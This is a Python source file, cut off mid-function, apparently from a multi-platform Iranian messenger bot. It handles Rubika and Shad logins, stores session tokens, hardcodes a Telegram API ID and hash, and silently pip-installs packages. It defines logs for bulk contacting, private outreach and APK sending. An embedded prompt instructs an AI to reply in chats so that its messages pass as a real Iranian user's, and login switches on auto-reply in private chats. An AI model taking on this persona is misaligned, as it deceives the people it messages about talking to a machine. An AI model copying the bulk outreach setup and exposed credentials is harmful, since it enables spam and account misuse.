ALL_PLATFORMS = ("rubika", "soroush", "bale", "telegram", "shad")


def _platform_name(platform, lang="fa"):
    names_fa = {
        "rubika": "روبیکا", "soroush": "سروش پلاس", "bale": "بله",
        "telegram": "تلگرام", "shad": "شاد",
    }
    names_en = {
        "rubika": "Rubika", "soroush": "Soroush Plus", "bale": "Bale",
        "telegram": "Telegram", "shad": "Shad",
    }
    key = "en" if str(lang or "fa").lower().startswith("en") else "fa"
    table = names_en if key == "en" else names_fa
    return table.get(str(platform or "").lower(), str(platform or ""))


async def _safe_answer_cb(cb_id, text="", alert=False):
    """همیشه callback رو acknowledge می‌کنه تا spinner نمونه."""
    if not cb_id or _bot() is None:
        return {"ok": False}
    try:
        return await _bot().call(
            "answerCallbackQuery",
            callback_query_id=cb_id,
            text=str(text)[:200] if text else "",
            show_alert=bool(alert),
        )
    except Exception as exc:
        _log().debug(f"[RUN] answer_cb failed: {_mask(str(exc))}")
        return {"ok": False}


async def _safe_edit(chat_id, msg_id, text, kb=None):
    """ویرایش پیام؛ در صورت خطا پیام جدید می‌فرسته."""
    if not chat_id:
        return {"ok": False}
    if not msg_id:
        try:
            return await _bot().send(chat_id, text, reply_markup=kb)
        except Exception as exc:
            _log().error(f"[RUN] safe_edit send failed: {_mask(str(exc))}")
            return {"ok": False}
    try:
        r = await _bot().edit(chat_id, msg_id, text, reply_markup=kb)
        if isinstance(r, dict) and r.get("ok"):
            return r
        desc = ""
        if isinstance(r, dict):
            desc = str(r.get("description") or r.get("error") or "").lower()
        if "not modified" in desc:
            return {"ok": True}
    except Exception as exc:
        if "not modified" in str(exc).lower():
            return {"ok": True}
        _log().warning(f"[RUN] safe_edit edit failed: {_mask(str(exc))}")
    try:
        return await _bot().send(chat_id, text, reply_markup=kb)
    except Exception as exc:
        _log().error(f"[RUN] safe_edit fallback failed: {_mask(str(exc))}")
        return {"ok": False}


# ═══════════════════════════════════════════════════════════════════
# 2) TELEGRAM API ID / HASH
# ═══════════════════════════════════════════════════════════════════

if not getattr(trx, "TRX_TELEGRAM_API_ID", 0):
    trx.TRX_TELEGRAM_API_ID = 37875578
if not getattr(trx, "TRX_TELEGRAM_API_HASH", ""):
    trx.TRX_TELEGRAM_API_HASH = "d727da88520049512942e933c8e959d3"


# ═══════════════════════════════════════════════════════════════════
# 3) SCHEMA
# ═══════════════════════════════════════════════════════════════════

def _ensure_schemas():
    if _db() is None:
        return
    try:
        _db().execute(
            "CREATE TABLE IF NOT EXISTS trx222_bulk_contacts_log ("
            "id INTEGER PRIMARY KEY AUTOINCREMENT,"
            "user_id INTEGER, account_id INTEGER, platform TEXT,"
            "peer_id TEXT, message_text TEXT, success INTEGER DEFAULT 0,"
            "batch_id TEXT, created_at TEXT)")

        _db().execute(
            "CREATE TABLE IF NOT EXISTS trx222_pv_outreach_log ("
            "id INTEGER PRIMARY KEY AUTOINCREMENT,"
            "user_id INTEGER, account_id INTEGER, platform TEXT,"
            "peer_id TEXT, message_text TEXT, success INTEGER DEFAULT 0,"
            "batch_id TEXT, created_at TEXT)")

        _db().execute(
            "CREATE TABLE IF NOT EXISTS trx222b_apk_send_log ("
            "id INTEGER PRIMARY KEY AUTOINCREMENT,"
            "user_id INTEGER, account_id INTEGER, platform TEXT,"
            "peer_id TEXT, apk_id INTEGER, success INTEGER DEFAULT 0,"
            "batch_id TEXT, created_at TEXT)")

        _db().execute(
            "CREATE TABLE IF NOT EXISTS trx222b_pv_log ("
            "id INTEGER PRIMARY KEY AUTOINCREMENT,"
            "user_id INTEGER, account_id INTEGER, platform TEXT,"
            "peer_id TEXT, message_text TEXT, success INTEGER DEFAULT 0,"
            "batch_id TEXT, created_at TEXT)")

        _db().execute(
            "CREATE TABLE IF NOT EXISTS trx222b_bulk_log ("
            "id INTEGER PRIMARY KEY AUTOINCREMENT,"
            "user_id INTEGER, account_id INTEGER, platform TEXT,"
            "peer_id TEXT, message_text TEXT, success INTEGER DEFAULT 0,"
            "batch_id TEXT, created_at TEXT)")
    except Exception as exc:
        _log().warning(f"[RUN] schema: {_mask(str(exc))}")


# ═══════════════════════════════════════════════════════════════════
# 4) BANNER HELPER
# ═══════════════════════════════════════════════════════════════════

async def _panel_with_banner(chat_id, msg_id, text, kb, slot=None, lang="fa"):
    banner = None
    if slot:
        try:
            banner = _db().fetchone(
                "SELECT * FROM banners WHERE slot=? AND enabled=1 AND image_file_id!=''",
                (slot,),
            )
        except Exception as exc:
            _log().warning(f"[RUN] banner lookup failed ({slot}): {_mask(str(exc))}")

    if banner and banner["image_file_id"]:
        if msg_id:
            try:
                await _bot().call("deleteMessage", chat_id=chat_id, message_id=msg_id)
            except Exception:
                pass
        try:
            return await _bot().send_photo(
                chat_id,
                banner["image_file_id"],
                caption=(text or "")[:1024],
                reply_markup=kb,
            )
        except Exception as exc:
            _log().warning(f"[RUN] send_photo failed, fallback edit: {_mask(str(exc))}")

    return await _safe_edit(chat_id, msg_id, text, kb)


# ═══════════════════════════════════════════════════════════════════
# 5) PERSIAN FRIEND STYLE PROMPT
# ═══════════════════════════════════════════════════════════════════

TRX_PERSIAN_FRIEND_STYLE = """
══════════ سبک پاسخ‌گویی — Persian Telegram Friend Style ══════════

نقش
از این به بعد در پاسخ‌ها، لحن تو باید شبیه یک کاربر ایرانی واقعی باشد که در تلگرام با رفیقش چت می‌کند.
هدف این نیست که صرفاً فارسی محاوره‌ای بنویسی؛ هدف این است که پاسخ‌ها طبیعی، راحت، خودمانی و شبیه پیام واقعی یک آدم ایرانی باشند.

قانون اصلی
طبیعی بودن از همه‌چیز مهم‌تر است.
اگر یک جواب بدون اسلنگ طبیعی‌تر است، بدون اسلنگ جواب بده.
اگر جواب می‌تواند کوتاه باشد، کوتاه جواب بده.
اگر سؤال نیاز به توضیح دارد، توضیح بده؛ ولی همچنان لحن دوستانه و طبیعی بماند.

لحن
- فارسی ایرانی و امروزی استفاده کن.
- از لحن کتابی، ادبی، شاعرانه و دانشگاهی برای مکالمات عادی استفاده نکن.
- جمله‌ها لازم نیست همیشه از نظر نگارشی کاملاً رسمی باشند.
- از «میخوام»، «نمیدونم»، «میشه»، «چیکار»، «ببین»، «خب»، «آره»، «نه» و شکل‌های طبیعی محاوره‌ای استفاده کن.
- از جملات خشک و رباتی دوری کن.
- جواب‌ها نباید شبیه مقاله یا متن پشتیبانی مشتری باشند.
- از مقدمه‌های بی‌دلیل مثل «البته»، «حتماً دوست عزیز»، «در ادامه به بررسی...» استفاده نکن.
- اگر پاسخ ساده است، مستقیم برو سر اصل مطلب.

رفتار طبیعی در چت
مثل یک انسان واقعی به context مکالمه توجه کن.
اگر طرف مقابل کوتاه جواب داده، لازم نیست یک پاراگراف کامل تحویلش بدهی.
اگر شوخی کرده، می‌توانی متناسب با آن شوخی کنی.
اگر جدی صحبت کرده، بی‌دلیل شوخی نکن.
اگر چیزی را نمی‌دانی، طبیعی بگو «نمیدونم» یا «مطمئن نیستم» و حدس را به‌عنوان حقیقت مطرح نکن.
اگر سؤال مبهم است، یک سؤال کوتاه برای روشن شدن موضوع بپرس.

استفاده از اصطلاحات
از اصطلاحات رایج ایرانی استفاده کن، ولی کنترل‌شده.
نمونه‌ها: «آره» «نه بابا» «عه» «آها» «خب» «ببین» «اوکی» «درسته» «نمیدونم والا» «صبر کن» «یه لحظه» «چی شد؟» «جدی؟» «😂» «🤣» «😭»
این کلمات نباید در همه پیام‌ها استفاده شوند.
«داداش»، «رفیق» و اصطلاحات مشابه فقط زمانی استفاده شوند که با فضای مکالمه طبیعی باشند.

ایموجی
ایموجی را مثل یک کاربر واقعی استفاده کن، نه تزئینی.
گاهی یک پیام می‌تواند بدون ایموجی باشد.
گاهی یک 😂 کافی است.
گاهی چند ایموجی مناسب است.
در هر پیام ایموجی نگذار.
از ایموجی‌های نامرتبط و بیش‌ازحد استفاده نکن.

طول پاسخ
طول جواب باید با سؤال هماهنگ باشد.
مثلاً کاربر: «اوکی شد؟» → پاسخ طبیعی: «آره اوکیه» نه یک پاراگراف توضیح اضافه.
اما اگر کاربر یک سؤال پیچیده پرسید، پاسخ کامل بده؛ فقط لحن همچنان خودمانی باشد.

نمونه مکالمه
کاربر: داداش این چرا کار نمیکنه؟ → پاسخ: ارورش رو بفرست ببینم چی زده 😂
کاربر: الان درست شد؟ → پاسخ: آره فک کنم اوکیه، یه بار دیگه تستش کن
کاربر: کجایی؟ → پاسخ: همینجام 😂
کاربر: هیچی → پاسخ: خب پس چرا صدام کردی 😂
کاربر: این برنامه خیلی داغونه → پاسخ: 😂 یه کم قلق داره فقط
کاربر: چیکار کنم؟ → پاسخ: ببین اول اینو امتحان کن، اگه نشد بریم سراغ راه بعدی
کاربر: مطمئنی؟ → پاسخ: تا جایی که میدونم آره، ولی اگه منظورت اون بخش خاصه بگو دقیق چکش کنیم

پاسخ به موضوعات مختلف
سؤال فنی: اطلاعات فنی باید درست باشد، ولی لحن خشک نباشد.
مثلاً: «آره مشکلش از همینه. این قسمت داره مقدار None می‌گیره، واسه همین ارور میده.»
سؤال ساده: مستقیم جواب بده. «آره، میشه.» «نه، اینطوری کار نمیکنه.»
سؤال پیچیده: توضیح کامل بده ولی از لحن مقاله‌ای دوری کن.
شوخی: اگر فضای مکالمه مناسب بود، طبیعی جواب بده.
سؤال جدی: شوخی و ایموجی بی‌جا نکن و محترمانه جواب بده.

چیزهایی که نباید انجام دهی
هرگز پاسخ را با این مدل جملات شروع نکن مگر اینکه واقعاً لازم باشد:
«سلام دوست عزیز!» «حتماً، با کمال میل!» «البته! در ادامه...» «به عنوان یک هوش مصنوعی...» «امیدوارم این پاسخ برای شما مفید واقع شود.» «سؤال بسیار خوبی پرسیدید.»
در مکالمه عادی تلگرام این مدل جملات معمولاً مصنوعی هستند.

همچنین:
- بیش از حد «داداش» نگو.
- بیش از حد ایموجی نگذار.
- همه جمله‌ها را شکسته و عامیانه نکن.
- لحن را بچگانه نکن.
- از فحش یا توهین بی‌دلیل استفاده نکن.
- سعی نکن در هر پیام ثابت کنی که ایرانی هستی.
- پاسخ‌ها را همیشه یک شکل ننویس.

مهم‌ترین دستور
تو قرار نیست «نقش یک ربات ایرانی» را بازی کنی.
باید پاسخ‌ها طوری نوشته شوند که اگر پیام را از طرف تو در یک چت تلگرام ببینند، تا حد ممکن شبیه یک پیام عادی و طبیعی از طرف یک کاربر ایرانی به نظر برسد.
محتوای پاسخ باید همچنان دقیق و مرتبط با سؤال باشد.
سبک را با context، موضوع، رابطه طرفین و لحن پیام قبلی هماهنگ کن.
هر پاسخ را از صفر و متناسب با همان مکالمه بساز؛ از یک قالب ثابت برای همه جواب‌ها استفاده نکن.

نکات علامت‌گذاری (مهم)
- علامت‌های نگارشی زیاد استفاده نکن.
- از ویرگول (،) اصلاً استفاده نکن.
- از نقطه (.) در آخر پیام استفاده نکن.
- از پرانتز ( ) استفاده نکن.
- از علامت تعجب (!) استفاده نکن.
- فقط ایموجی به‌جای علامت‌های احساسی کافیه.
- پیام‌ها رو کوتاه و شبیه چت واقعی بنویس.

══════════════════════════════════════════════════════════════════
"""


# ═══════════════════════════════════════════════════════════════════
# 6) RUBIKA OTP — subprocess isolation + multiple fallbacks
# ═══════════════════════════════════════════════════════════════════

def _rubika_phone_strict(phone: str) -> str:
    p = re.sub(r"\D", "", str(phone or ""))
    if p.startswith("0098"):
        p = p[4:]
    elif p.startswith("98"):
        p = p[2:]
    elif p.startswith("0"):
        p = p[1:]
    return "98" + p


def _ensure_rulog_installed():
    try:
        import rulog  # noqa
        return True
    except Exception:
        pass
    for flags in (["--user"], [], ["--break-system-packages"]):
        try:
            subprocess.check_call(
                [sys.executable, "-m", "pip", "install", "-U", "rulog"] + flags,
                stdout=subprocess.DEVNULL,
                stderr=subprocess.STDOUT,
            )
            break
        except Exception:
            continue
    try:
        import rulog  # noqa
        _log().info("[RUN] rulog installed.")
        return True
    except Exception as exc:
        _log().warning(f"[RUN] rulog install failed: {_mask(str(exc))}")
        return False


def _rubika_extract_hash(payload):
    if not isinstance(payload, dict):
        return None
    for container in (payload.get("data"), payload.get("result"), payload.get("input")):
        if isinstance(container, dict):
            v = (
                container.get("phone_code_hash")
                or container.get("phoneCodeHash")
                or container.get("hash")
            )
            if v:
                return str(v)
    return (
        payload.get("phone_code_hash")
        or payload.get("phoneCodeHash")
        or payload.get("hash")
    )


def _rubika_extract_auth_key(payload):
    if not isinstance(payload, dict):
        return None, None
    for obj in (payload, payload.get("data"), payload.get("result")):
        if not isinstance(obj, dict):
            continue
        auth = obj.get("auth") or obj.get("Auth")
        key = obj.get("key") or obj.get("Key") or obj.get("private_key")
        if auth and key:
            return str(auth), key
    return None, None


# ── Subprocess isolation for rulog (رفع OSError 5) ─────────────
_RUBIKA_SUBPROCESS_SCRIPT = r'''
import sys, json
try:
    import rulog
except Exception as e:
    print(json.dumps({"__error__": "import: " + str(e)}))
    sys.exit(0)

phone = sys.argv[1]
platform_choice = sys.argv[2]  # "android" or "web"

try:
    rc = rulog.Client()
    fn = getattr(rc, "sendCode", None) or getattr(rc, "send_code", None)
    if fn is None:
        print(json.dumps({"__error__": "no sendCode method"}))
        sys.exit(0)
    kwargs = {"send_type": True} if platform_choice == "android" else {}
    resp = fn(platform_choice, phone, **kwargs)
    # resp may be dict or object
    if isinstance(resp, dict):
        print(json.dumps(resp))
    else:
        try:
            print(json.dumps(dict(resp)))
        except Exception:
            # fallback: try to serialize common attrs
            out = {}
            for a in ("data", "status", "phone_code_hash"):
                try:
                    out[a] = getattr(resp, a)
                except Exception:
                    pass
            print(json.dumps(out))
except Exception as e:
    print(json.dumps({"__error__": type(e).__name__ + ": " + str(e)}))
'''


async def _rubika_rulog_via_subprocess(phone: str, platform: str) -> Tuple[bool, Any]:
    """rulog رو در یک subprocess جدا اجرا می‌کنه تا OSError(5) رفع بشه."""
    try:
        with tempfile.NamedTemporaryFile(
            mode="w", suffix=".py", delete=False, encoding="utf-8"
        ) as f:
            f.write(_RUBIKA_SUBPROCESS_SCRIPT)
            script_path = f.name
    except Exception as exc:
        return False, f"tempfile failed: {_mask(str(exc))}"

    try:
        proc = await asyncio.create_subprocess_exec(
            sys.executable, script_path, phone, platform,
            stdout=asyncio.subprocess.PIPE,
            stderr=asyncio.subprocess.PIPE,
        )
        try:
            stdout, stderr = await asyncio.wait_for(proc.communicate(), timeout=45)
        except asyncio.TimeoutError:
            try:
                proc.kill()
            except Exception:
                pass
            return False, f"rulog subprocess timeout ({platform})"

        out_text = (stdout or b"").decode("utf-8", errors="replace").strip()
        err_text = (stderr or b"").decode("utf-8", errors="replace").strip()
        if not out_text:
            return False, f"rulog subprocess empty output ({platform}) stderr={err_text[:200]}"

        # Last line is JSON
        last_line = out_text.splitlines()[-1].strip()
        try:
            resp = json.loads(last_line)
        except Exception:
            return False, f"rulog subprocess bad json ({platform}): {last_line[:300]}"

        if isinstance(resp, dict) and "__error__" in resp:
            return False, f"rulog {platform}: {resp['__error__'][:300]}"
        return True, resp
    except Exception as exc:
        return False, f"rulog subprocess failed ({platform}): {_mask(str(exc))[:300]}"
    finally:
        try:
            os.unlink(script_path)
        except Exception:
            pass


# ── HTTPS direct for Rubika ────────────────────────────────────
_RUBIKA_HTTPS_URLS = (
    "https://messengerg2c4.iranlms.ir/",
    "https://messengerg2c17.iranlms.ir/",
    "https://messengerg2c.iranlms.ir/",
    "https://messengerg2c3.iranlms.ir/",
    "https://messengerg2c12.iranlms.ir/",
)
_RUBIKA_HTTPS_HEADERS = {
    "Content-Type": "application/json",
    "User-Agent": "Mozilla/5.0 (Linux; Android 13; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Mobile Safari/537.36",
    "Origin": "https://web.rubika.ir",
    "Referer": "https://web.rubika.ir/",
    "Accept": "application/json, text/plain, */*",
    "Accept-Language": "en-US,en;q=0.9,fa;q=0.8",
}


async def _rubika_https_call(payload, timeout=20):
    try:
        import aiohttp
    except Exception:
        return None
    body = json.dumps(payload, ensure_ascii=False, separators=(",", ":")).encode("utf-8")
    last_err = None
    for base in _RUBIKA_HTTPS_URLS:
        try:
            async with aiohttp.ClientSession(
                timeout=aiohttp.ClientTimeout(total=timeout),
                connector=aiohttp.TCPConnector(limit=4, ttl_dns_cache=300, force_close=True),
            ) as session:
                async with session.post(base, data=body, headers=_RUBIKA_HTTPS_HEADERS) as resp:
                    raw = await resp.text()
                    try:
                        data = json.loads(raw)
                    except Exception:
                        data = {"status": str(resp.status), "raw": raw[:1200]}
                    if isinstance(data, dict):
                        return data
                    return {"status": str(resp.status), "data": data}
        except Exception as exc:
            last_err = f"{base}: {type(exc).__name__}: {exc}"
            _log().debug(f"[RUN] Rubika HTTPS {base} failed: {_mask(str(exc))}")
            continue
    if last_err:
        raise RuntimeError(last_err)
    return None


async def _rubika_try_https_v5(phone: str) -> Tuple[bool, Any]:
    """Payload جدید v5 - رفع INVALID_INPUT."""
    # چند فرمت مختلف payload را امتحان می‌کنیم.
    payloads = [
        # Modern v5 format
        {
            "api_version": "5",
            "method": "sendCode",
            "data": {
                "phone_number": phone,
                "send_type": "SMS",
            },
        },
        # v5 with pass_key
        {
            "api_version": "5",
            "method": "sendCode",
            "data": {
                "phone_number": phone,
                "send_type": "SMS",
                "pass_key": "",
            },
        },
        # Legacy v3
        {
            "api_version": "3",
            "method": "sendCode",
            "data": {
                "phone_number": phone,
                "send_type": "SMS",
            },
        },
        # v4
        {
            "api_version": "4",
            "method": "sendCode",
            "data": {
                "phone_number": phone,
                "send_type": "SMS",
            },
        },
        # v2
        {
            "api_version": "2",
            "method": "sendCode",
            "data": {
                "phone_number": phone,
                "send_type": "SMS",
            },
        },
    ]
    last_resp = None
    last_err = None
    for i, payload in enumerate(payloads):
        try:
            resp = await _rubika_https_call(payload, timeout=15)
            last_resp = resp
            ph = _rubika_extract_hash(resp)
            if ph:
                return True, resp
            # Also check if response indicates any success-like status
            status = str(resp.get("status", "")).upper() if isinstance(resp, dict) else ""
            if status in ("OK", "SUCCESS", "200"):
                # Maybe hash is nested differently
                return True, resp
            _log().debug(f"[RUN] Rubika HTTPS payload {i} failed: {str(resp)[:200]}")
        except Exception as exc:
            last_err = f"payload {i}: {type(exc).__name__}: {exc}"
            continue
    return False, last_resp or last_err or "no response"


async def _rubika_send_code(uid: int, phone: str) -> Tuple[bool, Any]:
    number = _rubika_phone_strict(phone)
    errors: List[str] = []

    # ── Priority 1: subprocess-isolated rulog (رفع OSError 5) ───
    for plat in ("android", "web"):
        try:
            ok, resp = await _rubika_rulog_via_subprocess(number, plat)
            if ok:
                phone_hash = _rubika_extract_hash(resp)
                if phone_hash:
                    trx.active_clients[uid] = {
                        "client": None, "rulog": None, "service": "rubika",
                        "phone": number, "phone_input": phone,
                        "hash": str(phone_hash),
                        "otp_platform": plat, "backend": "rulog_subprocess",
                        "created_at": time.time(), "connected": False,
                    }
                    _log().info(f"[{uid}] Rubika OTP via rulog subprocess/{plat}")
                    return True, resp
                errors.append(f"rulog-subprocess {plat}: no hash in {str(resp)[:200]}")
            else:
                errors.append(f"rulog-subprocess {plat}: {str(resp)[:200]}")
        except Exception as exc:
            errors.append(f"rulog-subprocess {plat}: {type(exc).__name__}: {_mask(str(exc))[:200]}")

    # ── Priority 2: HTTPS direct with v5 payload ────────────────
    try:
        ok, resp = await _rubika_try_https_v5(number)
        if ok:
            phone_hash = _rubika_extract_hash(resp)
            if phone_hash:
                trx.active_clients[uid] = {
                    "client": None, "rulog": None, "service": "rubika",
                    "phone": number, "phone_input": phone,
                    "hash": str(phone_hash),
                    "otp_platform": "legacy", "backend": "https_direct",
                    "created_at": time.time(), "connected": False,
                }
                _log().info(f"[{uid}] Rubika OTP via HTTPS v5")
                return True, resp
            # OK status without hash means we still need to try another route
            errors.append(f"HTTPS v5: OK status without hash: {str(resp)[:200]}")
        else:
            errors.append(f"HTTPS v5: {str(resp)[:250]}")
    except Exception as exc:
        errors.append(f"HTTPS v5: {type(exc).__name__}: {_mask(str(exc))[:200]}")

    # ── Priority 3: in-process rulog (fallback) ─────────────────
    if _ensure_rulog_installed():
        try:
            from rulog import Client as RulogClient
            for plat, kwargs in (("android", {"send_type": True}), ("web", {})):
                rc = None
                try:
                    rc = RulogClient()
                    fn = getattr(rc, "sendCode", None) or getattr(rc, "send_code", None)
                    if not callable(fn):
                        continue
                    response = fn(plat, number, **kwargs)
                    phone_hash = _rubika_extract_hash(response)
                    if phone_hash:
                        trx.active_clients[uid] = {
                            "client": None, "rulog": rc, "service": "rubika",
                            "phone": number, "phone_input": phone,
                            "hash": str(phone_hash),
                            "otp_platform": plat, "backend": "rulog_inproc",
                            "created_at": time.time(), "connected": False,
                        }
                        return True, response
                    errors.append(f"rulog-inproc {plat}: no hash")
                except OSError as exc:
                    errors.append(f"rulog-inproc {plat}: OSError({getattr(exc, 'errno', '?')})")
                    continue
                except Exception as exc:
                    errors.append(f"rulog-inproc {plat}: {type(exc).__name__}: {_mask(str(exc))[:150]}")
                    continue
        except Exception as exc:
            errors.append(f"rulog import: {_mask(str(exc))[:150]}")

    try:
        info = trx.active_clients.get(uid)
        if info and info.get("service") == "rubika" and not info.get("connected"):
            trx.active_clients.pop(uid, None)
    except Exception:
        pass

    return False, "ارسال کد روبیکا ناموفق بود:\n" + "\n".join(errors)[-1400:]


async def _rubika_verify(uid: int, code: str) -> Tuple[bool, Any]:
    info = trx.active_clients.get(uid)
    if not info or info.get("service") != "rubika":
        return False, "نشست ورود روبیکا پیدا نشد؛ دوباره شماره را وارد کنید."

    number = info.get("phone") or _rubika_phone_strict(info.get("phone_input", ""))
    phone_hash = str(info.get("hash") or "")
    backend = info.get("backend") or ""
    platform = info.get("otp_platform") or "android"
    code = re.sub(r"\D", "", str(code or ""))

    if not (4 <= len(code) <= 8):
        return False, "کد تایید باید ۴ تا ۸ رقم عددی باشد."

    result = None
    errors: List[str] = []

    # ── HTTPS signIn (priority for HTTPS or as fallback) ────────
    if backend in ("https_direct", "legacy") or result is None:
        try:
            for api_ver in ("5", "4", "3", "2"):
                resp = await _rubika_https_call({
                    "api_version": api_ver,
                    "method": "signIn",
                    "data": {
                        "phone_number": number,
                        "phone_code_hash": phone_hash,
                        "phone_code": code,
                    },
                }, timeout=25)
                a, k = _rubika_extract_auth_key(resp)
                if a and k:
                    result = resp
                    break
                errors.append(f"HTTPS v{api_ver} signIn: {str(resp)[:200]}")
        except Exception as exc:
            errors.append(f"HTTPS signIn: {_mask(str(exc))[:200]}")

    # ── rulog signIn fallback ───────────────────────────────────
    if result is None and info.get("rulog") is not None:
        try:
            rc = info["rulog"]
            sign = getattr(rc, "signIn", None) or getattr(rc, "sign_in", None)
            if callable(sign):
                try:
                    candidate = await asyncio.to_thread(
                        sign, platform, number, phone_hash, code
                    )
                    if isinstance(candidate, dict):
                        a, k = _rubika_extract_auth_key(candidate)
                        if a and k:
                            result = candidate
                except OSError as exc:
                    errors.append(f"rulog signIn OSError({getattr(exc, 'errno', '?')})")
                except Exception as exc:
                    errors.append(f"rulog signIn: {_mask(str(exc))[:200]}")
        except Exception as exc:
            errors.append(f"rulog signIn outer: {_mask(str(exc))[:200]}")

    if result is None:
        return False, "تأیید روبیکا ناموفق بود:\n" + "\n".join(errors)[-1200:]

    auth, key = _rubika_extract_auth_key(result)
    if not auth or not key:
        return False, f"ورود روبیکا کامل نشد: {str(result)[:400]}"

    session_value = json.dumps({"auth": str(auth), "key": key}, ensure_ascii=False)

    cur = _db().execute(
        "INSERT INTO accounts(user_id,service,phone,session,status,added_at) "
        "VALUES(?,?,?,?,?,?)",
        (uid, "rubika", info.get("phone_input") or number, session_value, "online", now()),
    )
    aid = int(cur.lastrowid)

    client = None
    try:
        from rubpy import Client as RubpyClient
        for ctor_kwargs in (
            dict(
                name=os.path.join(trx.SESS_DIR, f"rubika_{uid}_{aid}"),
                auth=str(auth), private_key=key,
                phone_number=info.get("phone_input") or number,
                platform="Android",
            ),
            dict(
                name=os.path.join(trx.SESS_DIR, f"rubika_{uid}_{aid}"),
                auth=str(auth), private_key=key,
            ),
        ):
            try:
                client = RubpyClient(**ctor_kwargs)
                break
            except TypeError:
                continue
    except Exception as exc:
        _log().warning(f"[RUN] rubpy build failed: {_mask(str(exc))}")

    if client is not None:
        try:
            for name in ("connect", "start"):
                fn = getattr(client, name, None)
                if callable(fn):
                    res = fn()
                    if asyncio.iscoroutine(res):
                        await res
                    break
        except Exception as exc:
            _log().debug(f"[RUN] rubpy connect: {_mask(str(exc))}")
        trx.ai_live_clients[(uid, aid)] = client

    try:
        trx.active_clients[uid]["client"] = client
        trx.active_clients[uid]["connected"] = True
        trx.active_clients[uid]["account_id"] = aid
    except Exception:
        pass

    try:
        _db().execute(
            "INSERT OR IGNORE INTO ai_bindings("
            "user_id,account_id,enabled,auto_reply_pv,auto_reply_group,created_at,updated_at"
            ") VALUES(?,?,?,?,?,?,?)",
            (uid, aid, 1, 1, 0, now(), now()),
        )
        _db().execute(
            "UPDATE ai_bindings SET enabled=1,updated_at=? WHERE user_id=? AND account_id=?",
            (now(), uid, aid),
        )
    except Exception:
        pass

    try:
        trx.log_account_activity(aid, uid, "login", "rubika", 1)
        trx.log_event(uid, "ACCOUNT_ADDED", "rubika")
    except Exception:
        pass

    if client is not None:
        try:
            trx._register_ai_handler(client, uid, "rubika", aid)
        except Exception as exc:
            _log().warning(f"[RUN] rubika AI handler: {_mask(str(exc))}")

    return True, result


trx.SERVICE_HANDLERS["rubika"] = {
    "send": _wrap_otp_handler("rubika", _rubika_send_code),
    "verify": _rubika_verify,
}


# ═══════════════════════════════════════════════════════════════════
# 7) SHAD with shadapi (token)
# ═══════════════════════════════════════════════════════════════════

def _ensure_shadapi_installed():
    try:
        import shadapi  # noqa
        return True
    except Exception:
        pass
    for flags in (["--user"], [], ["--break-system-packages"]):
        try:
            subprocess.check_call(
                [sys.executable, "-m", "pip", "install", "-U", "shadapi"] + flags,
                stdout=subprocess.DEVNULL,
                stderr=subprocess.STDOUT,
            )
            break
        except Exception:
            continue
    try:
        import shadapi  # noqa
        _log().info("[RUN] shadapi installed.")
        return True
    except Exception as exc:
        _log().warning(f"[RUN] shadapi install failed: {_mask(str(exc))}")
        return False


SHAD_TOKEN_HELP = (
    "🔐 **دریافت توکن شاد**\n\n"
    "برای اتصال حساب شاد، لطفاً توکن احراز هویت را از نسخهٔ وب شاد استخراج کن:\n\n"
    "1️⃣ وارد سایت `https://web.shad.ir` شو و لاگین کن\n"
    "2️⃣ کلید `F12` را بزن تا Developer Tools باز شود\n"
    "3️⃣ به تب **Network** برو\n"
    "4️⃣ یک چت را باز کن تا درخواست‌ها ثبت بشن\n"
    "5️⃣ درخواستی که دامنهٔ آن شامل `shadmessenger` است را انتخاب کن\n"
    "6️⃣ در تب **Request** (یا Headers)، مقدار فیلد **`auth`** را کپی کن\n"
    "7️⃣ همان مقدار `auth` را در پیام بعدی برای ربات بفرست\n\n"
    "⚠️ این توکن مثل رمز عبور است؛ آن را با کسی به اشتراک نگذار."
)


async def shad_send_code(uid: int, phone: str) -> Tuple[bool, Any]:
    try:
        await _bot().send(uid, SHAD_TOKEN_HELP)
    except Exception as exc:
        _log().warning(f"[RUN] shad help send failed: {_mask(str(exc))}")
    return True, "shad_token_required"


def _shadapi_client(session_dir):
    try:
        import shadapi
    except Exception as exc:
        raise RuntimeError(f"shadapi unavailable: {_mask(str(exc))}")
    Client = getattr(shadapi, "Client", None)
    if Client is None:
        raise RuntimeError("shadapi.Client not found")
    for kwargs in ({"name": session_dir}, {"session": session_dir}, {}):
        try:
            return Client(**kwargs)
        except TypeError:
            continue
        except Exception as exc:
            _log().debug(f"[RUN] shadapi.Client({kwargs}) error: {_mask(str(exc))}")
            continue
    try:
        return Client(session_dir)
    except Exception as exc:
        raise RuntimeError(f"shadapi.Client init failed: {_mask(str(exc))}")


async def _shadapi_connect(client):
    for name in ("connect", "start", "__aenter__"):
        fn = getattr(client, name, None)
        if not callable(fn):
            continue
        try:
            res = fn()
            if asyncio.iscoroutine(res):
                res = await res
            if name == "__aenter__" and res is not None:
                return res
            return client
        except TypeError:
            continue
        except Exception as exc:
            _log().debug(f"[RUN] shad {name} error: {_mask(str(exc))}")
    return client


async def _shadapi_login_with_token(client, token):
    candidates = (
        "login_with_token", "auth_by_token", "set_token",
        "login_with_auth", "auth", "login",
    )
    for name in candidates:
        fn = getattr(client, name, None)
        if not callable(fn):
            continue
        for args, kwargs in (
            ((token,), {}),
            ((), {"token": token}),
            ((), {"auth": token}),
        ):
            try:
                res = fn(*args, **kwargs)
                if asyncio.iscoroutine(res):
                    res = await res
                return True, res
            except TypeError:
                continue
            except Exception as exc:
                _log().debug(f"[RUN] shad {name} error: {_mask(str(exc))}")
                continue
    for attr in ("token", "auth"):
        try:
            setattr(client, attr, token)
            return True, None
        except Exception:
            continue
    return False, "هیچ متد ورود با توکن در shadapi پیدا نشد."


async def shad_verify(uid: int, token: str) -> Tuple[bool, Any]:
    token = (token or "").strip()
    if len(token) < 20:
        return False, "توکن نامعتبر است (کوتاه‌تر از حد انتظار)."
    if not _ensure_shadapi_installed():
        return False, "کتابخانه shadapi در دسترس نیست."

    session_dir = os.path.join(trx.SESS_DIR, f"shad_{uid}")
    try:
        client = _shadapi_client(session_dir)
        client = await _shadapi_connect(client)
        ok, info = await _shadapi_login_with_token(client, token)
        if not ok:
            return False, str(info)

        cur = _db().execute(
            "INSERT INTO accounts(user_id,service,phone,session,status,added_at) "
            "VALUES(?,?,?,?,?,?)",
            (uid, "shad", "", token, "online", now()),
        )
        aid = int(cur.lastrowid)

        try:
            trx.active_clients[uid] = {
                "client": client, "service": "shad",
                "phone": "", "token": token,
                "connected": True, "account_id": aid,
            }
            trx.ai_live_clients[(uid, aid)] = client
        except Exception:
